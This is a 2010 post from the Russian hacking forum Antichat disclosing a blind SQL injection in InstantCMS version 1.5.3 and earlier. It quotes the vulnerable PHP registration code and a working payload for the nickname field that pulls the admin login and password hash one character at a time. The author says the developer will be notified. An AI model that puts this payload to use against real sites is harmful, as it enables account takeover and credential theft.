ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #19  
Старый 11.05.2010, 19:40
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

sql inj instantCMS <== 1.5.3

Need:mq=off
как раньше писал в этой цмс почти все фильтруется, что передается методом post, код усеян регулярками.
Но есть одна особенность. Все это хорошо конечно, но фильтр пропускает
1) \
2) "
Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \
ошибка есть, но толку нет, insert запросы никак не закрыть т.к '(одинарная кавычка) обрабатывается фильром и заменяется на `(апостроф).
Ближе к делу. Рассмотрим скрипт регистрации юзеров.
/components/registration/frontend.php
PHP код:
if($inDB->rows_count('cms_users''LOWER(nickname) LIKE "'.strtolower($nickname).'"'1)){
            
$msg .= $_LANG['ERR_NICK_EXISTS'].'<br/>';

/core/classes/db.class.php
PHP код:
public function rows_count($table$where$limit=0){
    
$sql "SELECT * FROM $table WHERE $where";

    if (
$limit) { $sql .= " LIMIT ".$limit; }

    
$result $this->query($sql);
    return 
$this->num_rows($result);

Суть:Перед тем как аккаунт занесется в бд, он проверится на совпадения.
$nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому.
вбиваем d поле никнейм следующую шляпу.
Код:
1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))#
Есть одна проблема. Символы <> Жрет фильтр. Это печально, из-за этого на добычу хеша бинарным поиском уйдет больше времени и больше срача будет в логах. Пока еще не раздумывал, но я догадываюсь, как можно обойти. Как разберусь напишу результат.
P.S. переменная $email, проверяется только на регулярку через eregi(). Поставил старую версию php и начал Травить я его ядовитым нулл байтом. ничего хорошего не вышло. только ошибка в бд... байт чего-то синтаксис портит нехило.

С этого момента после нахождения мной уязвимости в этой кмс, о ней будет информирован разработчик.

Последний раз редактировалось The matrix; 11.05.2010 в 19:47..
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ